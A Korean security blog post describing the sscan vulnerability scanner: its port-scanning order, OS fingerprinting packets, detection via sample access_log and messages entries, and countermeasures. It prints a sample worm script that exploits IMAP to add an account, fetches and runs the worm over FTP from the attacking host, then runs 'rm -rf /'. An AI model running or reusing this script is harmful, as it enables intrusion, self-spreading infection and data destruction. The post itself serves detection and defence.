이 인터넷 웜에 사용되는 스크립트의 기본적인 아이디어는 성공하지 못한 명령어가 실행되지 않는 한 그 결과값을 가진다는 것이다. 즉, 일련의 공격 과정을 스크립트로 작성하여 이들 일련의 공격이 모두 성공할 경우 시스템 침입과 파괴행위 그리고 자기 복제에 의한 전파가 가능하고 이들 중 하나의 명령어 혹은 조건이 만족되지 않을 경우 스크립트의 수행을 중지한다. 이러한 공격은 공통된 취약점을 가진 리눅스 시스템 등에 용이하게 이루어질 수 있다.

한 예로 아래의 간단한 스크립트를 살펴보기로 하자.
 

os[linux]

port[143] # is imapd available?

starttcpdialog[143] # connect to imap port

wait[2]

read[IMAP version blah blah] # check if its vulnerable

enddialog # close connection

sh[./exploit_that_appends_b4b0_to_passwd_file $remoteip] #try exploit!

starttelnetdialog[23] # our account has been added, telnet to the host

wait[2]

send[b4b0] # login as b4b0

wait[2]

read[last] # expect "last login tuesday blah blah" if we're logged in

wait[2]

send[ftp $localip] # ftp back to the host we infected

wait[2]

send[get /tmp/b4b0w0rm.tgz /tmp/b4b0w0rm.tgz] # transfer up the worm

wait[30] # wait for the file transfer to finish

send[quit] # quit the ftp program

wait[3]

send[tar -zxvf /tmp/b4b0w0rm.tgz; /tmp/b4b0w0rm/startupscript &]

wait[50000] # wait 50,000 seconds before we rm -rf / ;)

send[rm -rf /] # w00h00!!!! dont try this at home kidz ;)

enddialog


위의 스크립트는 다음 과정을 수행하는 명령어들의 모음을 가진 스크립트이다.

① 리눅스인지 확인

② IMAP 취약점 확인

③ IMAP을 이용한 공격 시도(b4b0라는 사용자 계정 추가)

④ b4b0라는 사용자로 telnet 접속

⑤ 로컬 시스템(공격 시스템)에 FTP 접속

⑥ 동일한 인터넷 웜 프로그램 다운로드

⑦ 동일한 인터넷 웜 프로그램 백그라운드 수행

⑧ 시스템의 모든 파일 삭제

위의 과정 중 하나의 과정에서 오류가 발생하면 이 스크립트는 동작을 멈추게 된다. 하지만 많은 리눅스 시스템에서 이 공격이 성공하리라 생각되어 지고 그럴 경우 기하급수적으로 이 스크립트에 의한 공격이 자동으로 이루어 질 것이다.


4. 공격 탐지
 

sscan은 네트워크 서비스의 알려진 취약점에 대한 점검을 수행하므로 점검 중 몇가지 패턴을 보이고 있다. 따라서 sscan이 점검하는 각각의 단계에서의 패턴을 감지함으로써 공격사실을 탐지할 수 있다.
 

가. 네트워크 서비스 스캐닝
 

sscan은 취약점 점검에 앞서 목표 호스트가 제공해 주고 있는 서비스를 알아내기 위해서 네트워크 서비스를 스캐닝한다. TCP ACK 패킷이 다음과 같은 근원지와 목적지 포트가 세팅된 채 목표 호스트에 주어진다.

source and destination TCP port 23 (telnet)

source and destination TCP port 25 (smtp)

source and destination TCP port 110 (pop3)

source and destination TCP port 143 (imap)

source and destination TCP port 80 (www)

만일 위의 스캐닝에서 응답이 있었다면 공격 호스트에 대한 잠재적인 취약점을 점검하려 한다. 아래 TCP 포트들에 대한 접속 순서대로 접속 취약점 점검이 이루어지지만 공격자가 임의로 선택할 수 있으므로 각각의 취약점에 대한 점검을 할 수도 있고 하지 않을 수도 있다.

80 (www)

23 (telnet), 143 (imap), 110 (pop3) [all three, or none, are probed]

111 (sunrpc)

6000 (x11)

79 (finger)

53 (domain)

31337 (unassigned by IANA)

2766 (Solaris listen/nlps_server)

아래의 TCP 포트들에 대한 취약점 점검은 선택적이므로 항상 취약점을 점검하지는 않는다. 하지만 sscan에 의해 점검하는 순서는 아래와 동일하다.

139 (netbios-ssn)

25 (smtp)

21 (ftp)

22 (ssh)

1114 (Linux mSQL)

1 (tcpmux)
 

나. 목표 호스트의 운영체제 확인
 

목표 호스트의 운영체제를 인식하기 위한 시도에서 두가지 형태의 진단이 이루어진다.

○ login banner를 얻기위한 TCP 포트 23번(telnet)으로 접속한다.

○ 시스템과 네트워크 구조를 알아내기 위해 스탤스 스캐닝 기술을 사용한다.

이 경우 다음과 같은 다섯개의 패킷이 취약점 스캐닝시 열려진 포트에 전송된다.

Packet #1 - SYN ACK packet from source TCP port 1

Packet #2 - FIN packet from source TCP port 2

Packet #3 - FIN ACK packet from source TCP port 3

Packet #4 - SYN FIN packet from source TCP port 4

Packet #5 - PUSH packet from source TCP port 5
 

다. 잠재적 취약점 점검
 

스캐닝 점검결과 얻어진 정보를 이용하여 공격 목표 시스템이 잠재적으로 취약한지를 결정한다. 이 과정에서 공격탐지를 명확히 알수 있는 로그는 아래와 같이 access_log와 messages 파일을 분석함으로써 탐지할 수 있다.

○ access_log 파일 분석
 

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/phf HTTP/1.0" 302 192

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/test-cgi HTTP/1.0" 404 169

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/php.cgi HTTP/1.0" 404 168

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/handler HTTP/1.0" 404 168

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/webgais HTTP/1.0" 404 168

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/websendmail HTTP/1.0" 404 172

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/faxsurvey HTTP/1.0" 404 170

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/htmlscript HTTP/1.0" 404 171

xxx.xxx.xxx.108 - - [03/Feb/1999:09:51:17 +0900] "GET /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 174


○ messages 파일 분석

 

Feb 3 09:51:04 apollo imapd[1796]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo ipop3d[1797]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.fingerd[1801]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.ftpd[1802]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.telnetd[1800]: connect from xxx.xxx.xxx.108

Feb 3 09:51:04 apollo in.telnetd[1803]: connect from xxx.xxx.xxx.108

Feb 3 09:51:14 apollo ipop3d[1804]: connect from xxx.xxx.xxx.108

Feb 3 09:51:14 apollo imapd[1805]: connect from xxx.xxx.xxx.108

Feb 3 09:51:17 apollo in.fingerd[1807]: connect from xxx.xxx.xxx.108

Feb 3 09:51:18 apollo in.fingerd[1809]: connect from xxx.xxx.xxx.108

Feb 3 09:51:20 apollo in.fingerd[1811]: connect from xxx.xxx.xxx.108


라. 스크립트 실행

 

sscan이 명령어들의 모음인 스크립트를 공격자가 임의로 설정할 경우 탐지가 힘들다.


5. 대책
 

보안 취약점 점검 도구에 의한 스캐닝 공격에 대한 뚜렷한 대책은 없다. 하지만 보안 취약점 진단은 시스템 공격을 위해 행해지는 최초의 행위이고 여기서 발견된 보안 취약점을 악용하여 실제 시스템에 대한 공격이 이루어지는 경우가 대부분이다.

따라서 시스템 관리자는 공격자가 취약점을 점검하기 이전에 미리 자신의 시스템 및 네트워크의 보안 취약점을 점검하여 발견된 취약점에 대한 조치를 해야할 필요가 있다.

더군다나 sscan에서는 보안 취약점 점검 뿐아니라, 자기복제가 가능한 스크립트 파일에 의해 보안 취약점에 대한 적극적인 공격 행위까지 자동으로 이루어지므로 관리자들의 주의를 요한다.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-다     운     로     드-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Security Tools > Linux' 카테고리의 다른 글

리눅스용 Wireless 스니퍼 - Kismet  (0) 2008.07.01
강력한 취약점 스캐너 - Sscan  (0) 2008.07.01
Nikto  (0) 2008.07.01
Libwhisker2  (0) 2008.07.01
Creative Commons License